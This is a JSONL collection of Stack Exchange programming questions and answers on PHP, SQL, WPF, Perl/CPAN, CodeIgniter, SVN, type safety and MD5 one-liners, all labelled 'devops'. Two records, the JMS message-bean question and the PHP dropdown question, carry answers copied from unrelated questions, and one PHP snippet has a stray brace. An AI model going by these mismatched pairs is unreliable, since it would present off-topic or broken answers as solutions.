{"id": "hf_5efbaf997832", "question": "<p>I am using the code below to display all the files from a directory in a drop down menu. Does anyone know how to make this alphabetical? I presume it has something to do with the sort function, I just can't figure out how!</p>\n\n<pre><code>&lt;?php\n$dirname = \"images/\";\n$images = scandir($dirname);\n$dh = opendir($dirname);\n\nwhile ($file = readdir($dh)) {\nif (substr($file, -4) == \".gif\") {\nprint \"&lt;option value='$file'&gt;$file&lt;/option&gt;\\n\"; }\n}\nclosedir($dh);\n?&gt;\n</code></pre>\n", "question_body": "", "answer": "Why are you reading all the filenames using scandir() and then looping through them with the readdir() method? You could just do this:\n```\n```\n<?php\n\n$dirname = \"images/\";\n$images = scandir($dirname);\n\n// This is how you sort an array, see http://php.net/sort\nsort($images);\n\n// There's no need to use a directory handler, just loop through your $images array.\nforeach ($images as $file) {\n    if (substr($file, -4) == \".gif\") {\n        print \"<option value='$file'>$file</option>\\n\"; }\n    }\n}\n\n?>\n```\n```\nAlso you might want to use\nnatsort()\n, which works the same way as\nsort()\nbut sorts in \"natural order\". (Instead of sorting as\n```\n1,10,2,20\n```\nit will sort as\n```\n1,2,10,20\n```\n.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.605686"}
{"id": "hf_08f1d45976f7", "question": "<p>I have a list of stores, departments within the stores, and sales for each department, like so (created using max(sales) in a subquery, but that's not terribly important here I don't think):</p>\n\n<pre><code>toronto    baskets 500\nvancouver  baskets 350\nhalifax    baskets 100\ntoronto    noodles 275\nvancouver  noodles 390\nhalifax    noodles 120\nhalifax    fish    200\n</code></pre>\n\n<p>I would like to ask for the highest-selling department at each store. The results should look like this:</p>\n\n<pre><code>toronto    baskets 500\nvancouver  noodles 275\nhalifax    fish    200\n</code></pre>\n\n<p>Whenever I use GROUP BY, it includes all the listings from my subquery. Is there a nice clean way to do this without a temporary table?</p>\n", "question_body": "", "answer": "This works in Oracle, other implementations may have different syntax for analytic functions (or lack them entirely):\n```\n```\nselect store\n     , max(department) keep(dense_rank last order by sales)\n     , max(sales)\n  from (\n        ...query that generates your results...\n       )\n group by store\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.641215"}
{"id": "hf_bb906140f0a8", "question": "<p>I know you cannot use a alias column in the where clause for T-SQL; however, has Microsoft provided some kind of workaround for this?</p>\n\n<blockquote>\n  <p><strong>Related Questions:</strong>  </p>\n  \n  <ul>\n  <li><a href=\"https://stackoverflow.com/questions/200200/can-you-use-an-alias-in-the-where-clause-in-mysql\">Unknown Column In Where Clause</a>   </li>\n  <li><a href=\"https://stackoverflow.com/questions/153598/unknown-column-in-where-clause\">Can you use an alias in the WHERE clause in mysql?</a>  </li>\n  <li><a href=\"https://stackoverflow.com/questions/46354/invalid-column-name-error-on-sql-statement-from-openquery-results\">“Invalid column name” error on SQL statement from OpenQuery results</a></li>\n  </ul>\n</blockquote>\n", "question_body": "", "answer": "One workaround would be to use a derived table.\nFor example:\n```\n```\nselect *\nfrom \n   (\n   select a + b as aliased_column\n   from table\n   ) dt\nwhere dt.aliased_column = something.\n```\n```\nI hope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.664744"}
{"id": "hf_1a6e6036757e", "question": "<p>I currently have two text boxes which accept any number. I have a text block that takes the two numbers entered and calculates the average. </p>\n\n<p>I was wondering if there was a way I could bind this text block to both text boxes and utilize a custom converter to calculate the average? I currently am catching the text changed events on both text boxes and calculating the average that way, but I am under the assumption data binding would be more efficient and easier.</p>\n", "question_body": "", "answer": "You're looking for\n```\nMultiBinding\n```\n.\nYour\n```\nXAML\n```\nwill look something like this:\n```\n```\n<TextBlock>\n  <TextBlock.Text>\n    <MultiBinding Converter=\"{StaticResource myConverter}\">\n      <Binding Path=\"myFirst.Value\" />\n      <Binding Path=\"mySecond.Value\" />\n    </MultiBinding>\n  </TextBlock.Text>\n</TextBlock>\n```\n```\nWith reasonable replacements for\n```\nmyConverter\n```\n,\n```\nmyFirst.Value\n```\n, and\n```\nmySecond.Value\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.795975"}
{"id": "hf_171bd5cb7910", "question": "<p>I'd like to set up a large linear programming model to solve an interesting problem.  I would be most comfortable in Java.  What tools/libraries are available?</p>\n", "question_body": "", "answer": "I used\nlp_solve\nwith success. It looks like there is a native Java API, but I've only used the text file interface. It supports the semi-standard MPS and LP file formats, which I found more convenient for trying out different solvers (such as\nglpsol\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.831691"}
{"id": "hf_a42c896d47dc", "question": "<p>When hosting a WCF service on IIS you have an option of manually configuring the endpoint or declaratively by means of WebServiceHostFactory. It doesn't seem to be that difficult to manually create the endpoint so I figured I would ask.</p>\n\n<ul>\n<li>What are the benefits of using WebServiceHostFactory? </li>\n<li>Are there any performance implications to dynamically creating the endpoints?</li>\n</ul>\n", "question_body": "", "answer": "Can you clarify : are you asking specifically about\nWeb\nServiceHostFactory (emph: \"Web\")? Or just the  difference between IIS hosting it vs starting your own server through code?\nWebServiceHostFactory is new in .NET 3.5, and supports some of the newer AJAX/JSON stuff.\nActually, within IIS (using .svc), you are already using a ServiceHostFactory - simply the default one shipped with WCF. You can write your own factory if you want, and I've done this in the past to create a factory that\nonly\nlistens on https (I had an issues on a farm hosting multiple sites, where it couldn't identify the correct site for http, but https was fine - so I completely disabled http via the factory).\nPerformance shouldn't be any different as long as you don't go mad and listen on 200 end-points...\nGenerally, manually creating the server is used when you are hosting the server in (for example) a windows service. IIS is fine for some things, but app-pools get recycled, so aren't ideal for a server that needs to retain long-lived state. IIS has the advantage of being much easier to configure, especially with security (SSL etc) and compression.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.856215"}
{"id": "hf_9b5b18486539", "question": "<p>I'm running my C++ program in gdb. I'm not real experienced with gdb, but I'm getting messages like:</p>\n\n<pre><code>warning: HEAP[test.exe]:\nwarning: Heap block at 064EA560 modified at 064EA569 past requested size of 1\n</code></pre>\n\n<p>How can I track down where this is happening at? Viewing the memory doesn't give me any clues.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "So you're busting your heap. Here's a nice\nGDB tutorial\nto keep in mind.\nMy normal practice is to set a break in known good part of the code. Once it gets there step through until you error out. Normally you can determine the problem that way.\nBecause you're getting a heap error I'd assume it has to do with something you're putting on the heap so pay special attention to variables (I think you can use print in GDB to determine it's memory address and that may be able to sync you with where your erroring out). You should also remember that entering functions and returning from functions play with the heap so they may be where your problem lies (especially if you messed your heap before returning from a function).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.884287"}
{"id": "hf_2fe5756c717d", "question": "<p>How do I query the iPhone's current IP address?</p>\n", "question_body": "", "answer": "You can try to use similar to this service:\nWhatismyip\nand capture the string :)\nCredit to Erica Sadun's iPhone Developer's Cookbok, 2nd ed, page 555.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.920581"}
{"id": "hf_d1bc252fc54e", "question": "<p>Question: Is there an easy way (library function) to perform a bitwise AND or OR on numbers larger than 32-bit in ActionScript?  </p>\n\n<p>From the docs:\n\"Bitwise operators internally manipulate floating-point numbers to change them into 32-bit integers. The exact operation performed depends on the operator, but all bitwise operations evaluate each binary digit (bit) of the 32-bit integer individually to compute a new value.\"</p>\n\n<p>Bummer...</p>\n\n<p>I can't use the &amp; or | ops - does AS expose a library function to do this for Numbers?</p>\n\n<p>Specifics: I'm porting a bunch of java to flex and the java maintains a bunch of 'long' masks.  I know that I can split the Java masks into two ints on the flex side.  Since all of my mask manip is localized this won't be too painful.  However, I'd like to keep the port as 1-1 as possible.</p>\n\n<p>Any suggestions?\nThanks!</p>\n", "question_body": "", "answer": "According to\nhttp://livedocs.adobe.com/flex/3/html/help.html?content=03_Language_and_Syntax_11.html\n, there are no 64-bit integers (signed or unsigned)...only 32-bit.\nThe Number type, as you mentioned above, has a 53-bit mantissa, which is too short for you.\nI searched for a BigNum FLEX implementation, but couldn't find one.\nI'm guessing that you will have to simulate this with either an array of ints or a class with a high and low int.\nGood Luck,\nRandy Stegbauer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.969161"}
{"id": "hf_76f51c6aa3a7", "question": "<p>I am developing an iPhone application, in my table view I wanted custom color for Cell Selection Style, I read the <em>UITableViewCell Class Reference</em> but there are only three constants defined for Selection style (Blue, Gray, None). I saw one application that used a different color than those defined in the reference.</p>\n<p>How can we use a color other than those defined in the reference?</p>\n", "question_body": "", "answer": "Override didSelectRowAtIndexPath: and draw a UIView of a color of your choosing and insert it behind the UILabel inside the cell. I would do it something like this:\n```\n```\nUIView* selectedView; //inside your header\n\n- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath{\n\n  UITableViewCell* cell = [tableView cellForRowAtIndexPath:indexPath];\n  selectedView = [[UIView alloc] initWithFrame:[cell frame]];\n  selectedView.backgroundColor = [UIColor greenColor]; //whatever\n\n  [cell insertSubview:selectedView atIndex:0]; //tweak this as necessary\n  [selectedView release]; //clean up\n\n}\n```\n```\nYou can choose to animate this view out when it gets deselected and will satisfy your requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.055172"}
{"id": "hf_e0a27c6f6803", "question": "<p>Please advise how to scrape AJAX pages.</p>\n", "question_body": "", "answer": "Depends on the ajax page.  The first part of screen scraping is determining how the page works.  Is there some sort of variable you can iterate through to request all the data from the page?  Personally I've used\nWeb Scraper Plus\nfor a lot of screen scraping related tasks because it is cheap, not difficult to get started, non-programmers can get it working relatively quickly.\nSide Note: Terms of Use is probably somewhere you might want to check before doing this.  Depending on the site iterating through everything may raise some flags.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.127278"}
{"id": "hf_b3555a38472f", "question": "<p>Whats the normal procedure of clearing a form after POST? Just loop through the textboxes and cleat all text? I have an ASP.NET application with several forms and I am trying to avoid them sending the data twice?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "You can inject some javascript code to execute after postback.\n```\n```\ndocument.forms[0].reset();\ndocument.forms[1].reset();\n```\n```\nFrom server side, I haven't found an easy way to reset the form contents other than iterating through the controls inside a loop or doing a\nServer.Transfer\nback to the same page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.155164"}
{"id": "hf_54bcdc7b5d57", "question": "<p>I'm tasked with replicating a production environment to create many test/sit environments.</p>\n\n<p>One of the things I need to do is build up Perl, with all the modules which have been installed (including internal and external modules) over the years. I could just use CPAN.pm autobundle, but this will result in the test environment having much newer versions of the external modules that production has.</p>\n\n<p>What is the easiest/best way to get and install (a lot of) version specific Perl modules.</p>\n", "question_body": "", "answer": "Make your own CPAN mirror with exactly what you want.\nStratopan.com\n, a service, and\nPinto\n, tools that's built on top of, can help you do that.\nThe CPAN tools only install the latest version of any distribution because PAUSE only indexes the latest version. However, you can create your own, private CPAN that has exactly the distributions that you want. Once you have your own CPAN mirror with only what you want, you point your CPAN tools at only that mirror so it only installs those versions. More on that in a minute.\nNow, you want to have several versions of that. You can create as many mirrors as you like, and you can also put the mirrors in source control so you can check out any version of the mirror that you like.\nTools such as CPAN::Mini::Inject can help you set up your own CPAN. Check out\nmy talks on Slideshare\nfor the basic examples, and some of\nmy videos on Vimeo\nfor some of the demonstrations. Look at anything that has \"CPAN\" or \"BackPAN\" in the title. I think I might have some stuff about it in\nThe Perl Review\ntoo, or should by the next issue. :)\nLately, I've been working on a program called dpan (for DarkPAN) that can look at random directories, find Perl distributions in them, and create the structure and index files that you need. You run dpan, you get a URL to point your CPAN client toward, and off you go. It's part of my MyCPAN-Indexer project, which is in\nGithub\n. It's not quite ready for unsupervised public use because I mostly work with corporate clients to customize their setup. If you're interested in that, feel free to ask me questions though.\nAlso, I recently released\nCPAN::PackageDetails\nthat can help you build the right index file. It's still a bit young too, but again, if you need something special, just ask.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.194467"}
{"id": "hf_4eb87e0a7bfc", "question": "<p>My question is how do I configure an EJB 3.0 style message driven bean to use a configured JMS datasource in jboss. </p>\n\n<p>For example, my MDB looks something like:</p>\n\n<pre><code>@MessageDriven(mappedName = \"ExampleMDB\", activationConfig = {\n\n        @ActivationConfigProperty(propertyName = \"destinationType\", propertyValue = \"javax.jms.Topic\"),\n        @ActivationConfigProperty(propertyName = \"destination\", propertyValue = \"MyTopic\"),\n        @ActivationConfigProperty(propertyName = \"channel\", propertyValue = \"MyChannel\"),\n\n})\n@ResourceAdapter(value = \"wmq.jmsra.rar\")\n@TransactionAttribute(TransactionAttributeType.NOT_SUPPORTED)\n@TransactionManagement(TransactionManagementType.BEAN)\npublic class MyMDB implements MessageListener {\n .....\n}\n</code></pre>\n\n<p>But I would like the bean to attached to a given JMS datasource ( in the case of jboss 4.2.2 this is in deploy/jms/jms-ds.xml). Perhaps this is not even possible but is worth asking.</p>\n", "question_body": "", "answer": "Make your own CPAN mirror with exactly what you want.\nStratopan.com\n, a service, and\nPinto\n, tools that's built on top of, can help you do that.\nThe CPAN tools only install the latest version of any distribution because PAUSE only indexes the latest version. However, you can create your own, private CPAN that has exactly the distributions that you want. Once you have your own CPAN mirror with only what you want, you point your CPAN tools at only that mirror so it only installs those versions. More on that in a minute.\nNow, you want to have several versions of that. You can create as many mirrors as you like, and you can also put the mirrors in source control so you can check out any version of the mirror that you like.\nTools such as CPAN::Mini::Inject can help you set up your own CPAN. Check out\nmy talks on Slideshare\nfor the basic examples, and some of\nmy videos on Vimeo\nfor some of the demonstrations. Look at anything that has \"CPAN\" or \"BackPAN\" in the title. I think I might have some stuff about it in\nThe Perl Review\ntoo, or should by the next issue. :)\nLately, I've been working on a program called dpan (for DarkPAN) that can look at random directories, find Perl distributions in them, and create the structure and index files that you need. You run dpan, you get a URL to point your CPAN client toward, and off you go. It's part of my MyCPAN-Indexer project, which is in\nGithub\n. It's not quite ready for unsupervised public use because I mostly work with corporate clients to customize their setup. If you're interested in that, feel free to ask me questions though.\nAlso, I recently released\nCPAN::PackageDetails\nthat can help you build the right index file. It's still a bit young too, but again, if you need something special, just ask.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.218289"}
{"id": "hf_2ea9324e4fef", "question": "<p>I'd like to receive error logs via email. For example, if a <code>Warning-level</code> error message should occur, I'd like to get an email about it.</p>\n\n<p>How can I get that working in CodeIgniter?</p>\n", "question_body": "", "answer": "You could extend the Exception core class to do it.\nMight have to adjust the reference to CI's email class, not sure if you can instantiate it from a library like this. I don't use CI's email class myself, I've been using the Swift Mailer library. But this should get you on the right path.\nMake a file MY_Exceptions.php and place it in /application/libraries/ (Or in /application/core/ for CI 2)\n```\n```\nclass MY_Exceptions extends CI_Exceptions {\n\n    function __construct()\n    {\n        parent::__construct();\n    }\n\n    function log_exception($severity, $message, $filepath, $line)\n\n    {   \n        if (ENVIRONMENT === 'production') {\n            $ci =& get_instance();\n\n            $ci->load->library('email');\n            $ci->email->from('your@example.com', 'Your Name');\n            $ci->email->to('someone@example.com');\n            $ci->email->cc('another@another-example.com');\n            $ci->email->bcc('them@their-example.com');\n            $ci->email->subject('error');\n            $ci->email->message('Severity: '.$severity.'  --> '.$message. ' '.$filepath.' '.$line);\n            $ci->email->send();\n        }\n\n        parent::log_exception($severity, $message, $filepath, $line);\n    }\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.243513"}
{"id": "hf_b71f82aef0a9", "question": "<p>I'm looking for suggestions for a beginner level ASP/XML test.  Essentially I'm trying to hire an extremely junior programmer.  I'm in the process of trying to hire a junior programmer to help maintain a large code base of somewhat repetitive ASP pages.  I'm slowly in the process of making more modular, maintainable code but until that happens I'm trying to get away from having to change \"one little thing\" too often.</p>\n\n<p>Anyway I'm looking for suggestions of ways to test for ability to handle these tasks.  The applications I've been getting are people with minimal technical experience looking to \"break into IT.\"  I'm all for giving someone a chance, but I also want to test for some base level ability.</p>\n", "question_body": "", "answer": "I would ask some basic math questions involving sets, statistics and the like. That kind of question can be somewhat hard, as they don´t depend on a background in IT.\nIf you want to include some programming questions I would ask something in the line:\n\"How do you implement integer division without using the division operator\"\nAnother idea is teach them on the spot a made up language, something like\nlogo\n, with four basic commands and some loop directives and ask then to draw squares, circles and what not with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.267236"}
{"id": "hf_16cf7e929ecb", "question": "<p>What does \"type-safe\" mean?</p>\n", "question_body": "", "answer": "Type safety means that the compiler will validate types while compiling, and throw an error if you try to assign the wrong type to a variable.\nSome simple examples:\n```\n```\n// Fails, Trying to put an integer in a string\nString one = 1;\n// Also fails.\nint foo = \"bar\";\n```\n```\nThis also applies to method arguments, since you are passing explicit types to them:\n```\n```\nint AddTwoNumbers(int a, int b)\n{\n    return a + b;\n}\n```\n```\nIf I tried to call that using:\n```\n```\nint Sum = AddTwoNumbers(5, \"5\");\n```\n```\nThe compiler would throw an error, because I am passing a string (\"5\"), and it is expecting an integer.\nIn a loosely typed language, such as javascript, I can do the following:\n```\n```\nfunction AddTwoNumbers(a, b)\n{\n    return a + b;\n}\n```\n```\nif I call it like this:\n```\n```\nSum = AddTwoNumbers(5, \"5\");\n```\n```\nJavascript automaticly converts the 5 to a string, and returns \"55\". This is due to javascript using the + sign for string concatenation. To make it type-aware, you would need to do something like:\n```\n```\nfunction AddTwoNumbers(a, b)\n{\n    return Number(a) + Number(b);\n}\n```\n```\nOr, possibly:\n```\n```\nfunction AddOnlyTwoNumbers(a, b)\n{\n    if (isNaN(a) || isNaN(b))\n        return false;\n    return Number(a) + Number(b);\n}\n```\n```\nif I call it like this:\n```\n```\nSum = AddTwoNumbers(5, \" dogs\");\n```\n```\nJavascript automatically converts the 5 to a string, and appends them, to return \"5 dogs\".\nNot all dynamic languages are as forgiving as javascript (In fact a dynamic language does not implicity imply a loose typed language (see Python)), some of them will actually give you a runtime error on invalid type casting.\nWhile its convenient, it opens you up to a lot of errors that can be easily missed, and only identified by testing the running program. Personally, I prefer to have my compiler tell me if I made that mistake.\nNow, back to C#...\nC# supports a language feature called\ncovariance\n, this basically means that you can substitute a base type for a child type and not cause an error, for example:\n```\n```\npublic class Foo : Bar\n {\n }\n```\n```\nHere, I created a new class (Foo) that subclasses Bar. I can now create a method:\n```\n```\nvoid DoSomething(Bar myBar)\n```\n```\nAnd call it using either a Foo, or a Bar as an argument, both will work without causing an error. This works because C# knows that any child class of Bar will implement the interface of Bar.\nHowever, you cannot do the inverse:\n```\n```\nvoid DoSomething(Foo myFoo)\n```\n```\nIn this situation, I cannot pass Bar to this method, because the compiler does not know that Bar implements Foo's interface. This is because a child class can (and usually will) be much different than the parent class.\nOf course, now I've gone way off the deep end and beyond the scope of the original question, but its all good stuff to know :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.340039"}
{"id": "hf_623d2b0f90ba", "question": "<p>This drop down list, displaying all the files from a folder, one of which will be selected for use. Is there a way to show which file is selected when you load the page? At the moment it says \"select a file\" every time.</p>\n\n<pre><code>&lt;select name=\"image\" type=\"text\" class=\"box\" id=\"image\" value=\"&lt;?=$image;?&gt;\"&gt;\n&lt;option value='empty'&gt;Select a file&lt;/option&gt; \n&lt;?php\n\n$dirname = \"images/\";\n$images = scandir($dirname);\n\n// This is how you sort an array, see http://php.net/sort\nnatsort($images);\n\n// There's no need to use a directory handler, just loop through your $images array.\nforeach ($images as $file) {\n    if (substr($file, -4) == \".gif\") {\n        print \"&lt;option value='$file'&gt;$file&lt;/option&gt;\\n\"; }\n    }\n?&gt;\n&lt;/select&gt;\n</code></pre>\n", "question_body": "", "answer": "Type safety means that the compiler will validate types while compiling, and throw an error if you try to assign the wrong type to a variable.\nSome simple examples:\n```\n```\n// Fails, Trying to put an integer in a string\nString one = 1;\n// Also fails.\nint foo = \"bar\";\n```\n```\nThis also applies to method arguments, since you are passing explicit types to them:\n```\n```\nint AddTwoNumbers(int a, int b)\n{\n    return a + b;\n}\n```\n```\nIf I tried to call that using:\n```\n```\nint Sum = AddTwoNumbers(5, \"5\");\n```\n```\nThe compiler would throw an error, because I am passing a string (\"5\"), and it is expecting an integer.\nIn a loosely typed language, such as javascript, I can do the following:\n```\n```\nfunction AddTwoNumbers(a, b)\n{\n    return a + b;\n}\n```\n```\nif I call it like this:\n```\n```\nSum = AddTwoNumbers(5, \"5\");\n```\n```\nJavascript automaticly converts the 5 to a string, and returns \"55\". This is due to javascript using the + sign for string concatenation. To make it type-aware, you would need to do something like:\n```\n```\nfunction AddTwoNumbers(a, b)\n{\n    return Number(a) + Number(b);\n}\n```\n```\nOr, possibly:\n```\n```\nfunction AddOnlyTwoNumbers(a, b)\n{\n    if (isNaN(a) || isNaN(b))\n        return false;\n    return Number(a) + Number(b);\n}\n```\n```\nif I call it like this:\n```\n```\nSum = AddTwoNumbers(5, \" dogs\");\n```\n```\nJavascript automatically converts the 5 to a string, and appends them, to return \"5 dogs\".\nNot all dynamic languages are as forgiving as javascript (In fact a dynamic language does not implicity imply a loose typed language (see Python)), some of them will actually give you a runtime error on invalid type casting.\nWhile its convenient, it opens you up to a lot of errors that can be easily missed, and only identified by testing the running program. Personally, I prefer to have my compiler tell me if I made that mistake.\nNow, back to C#...\nC# supports a language feature called\ncovariance\n, this basically means that you can substitute a base type for a child type and not cause an error, for example:\n```\n```\npublic class Foo : Bar\n {\n }\n```\n```\nHere, I created a new class (Foo) that subclasses Bar. I can now create a method:\n```\n```\nvoid DoSomething(Bar myBar)\n```\n```\nAnd call it using either a Foo, or a Bar as an argument, both will work without causing an error. This works because C# knows that any child class of Bar will implement the interface of Bar.\nHowever, you cannot do the inverse:\n```\n```\nvoid DoSomething(Foo myFoo)\n```\n```\nIn this situation, I cannot pass Bar to this method, because the compiler does not know that Bar implements Foo's interface. This is because a child class can (and usually will) be much different than the parent class.\nOf course, now I've gone way off the deep end and beyond the scope of the original question, but its all good stuff to know :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.365517"}
{"id": "hf_2d32ce37c2d4", "question": "<p>Via command line, I usually do this:</p>\n\n<pre><code>cp -rRp /path/to/a\\_folder/. /path/to/another\\_folder\n</code></pre>\n\n<p>This copies just the contents underneath <strong>a_folder</strong> to <strong>another_folder</strong>. In SVN I need to do the same thing, but can't figure it out. I always end up with this:</p>\n\n<pre><code>/path/to/another\\_folder/a\\_folder\n</code></pre>\n\n<p>SVN throws up even when I try this:</p>\n\n<pre><code>svn copy file:///path/to/a\\_folder/* file:///path/to/another\\_folder\n</code></pre>\n\n<p>It says it does not exist.</p>\n\n<p><strong>EDIT:</strong></p>\n\n<p>This would probably help. The directory structure for my project looks like this:</p>\n\n<pre><code>my_project\n  /branches\n  /tags\n  /trunk\n  /vendor\n    /1.1\n</code></pre>\n\n<p>I need to get the contents of 1.1 under vendor into the trunk without it actually copying the 1.1 folder.</p>\n", "question_body": "", "answer": "Have you considered using svn merge?\nGiven a repo like this:\n```\n```\ntrunk/a_folder/foo\ntrunk/a_folder/bar\ntrunk/new_folder/baz\n```\n```\nuse these commands to merge the foo and bar directories:\n```\n```\ncd trunk/new_folder\nsvn merge -r1:HEAD http://svn/repo/trunk/a_folder .\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.391605"}
{"id": "hf_3801ecd7af3a", "question": "<p>Can an abstract class have a constructor?</p>\n\n<p>If so, how can it be used and for what purposes?</p>\n", "question_body": "", "answer": "Consider this:\n```\n```\nabstract class Product { \n    int value;\n    public Product( int val ) {\n        value= val;\n    }\n    abstract public int multiply();\n}\n\nclass TimesTwo extends Product {\n    public int mutiply() {\n       return value * 2;\n    }\n}\n```\n```\nThe superclass is abstract and has a constructor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.441748"}
{"id": "hf_43b8e8484739", "question": "<p>I have been using <a href=\"http://www.plt-scheme.org/\" rel=\"noreferrer\">PLT Scheme</a>, but it has some issues. Does anyone know of a better implementation for working through SICP?</p>\n", "question_body": "", "answer": "Use\nMIT Scheme\n.\nIt's recommended by the authors of SICP, and is used at MIT for the\n6.001: Structure and Interpretation of Computer Programs\ncourse.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.503048"}
{"id": "hf_0ba97c51eba8", "question": "<p>I'm looking for one line code examples in various languages for getting a valid MD5 result (as a string, not a bytehash or what have you).  For instance:</p>\n\n<p>PHP:\n$token = md5($var1 . $var2);</p>\n\n<p>I found VB especially troublesome to do in one line.</p>\n", "question_body": "", "answer": "Python\n```\n```\ntoken = __import__('md5').new(var1 + var2).hexdigest()\n```\n```\nor, if\n```\nmd5\n```\nis alrady imported:\n```\n```\ntoken = md5.new(var1 + var2).hexdigest()\n```\n```\nThanks to Greg Hewgill", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:07.527733"}
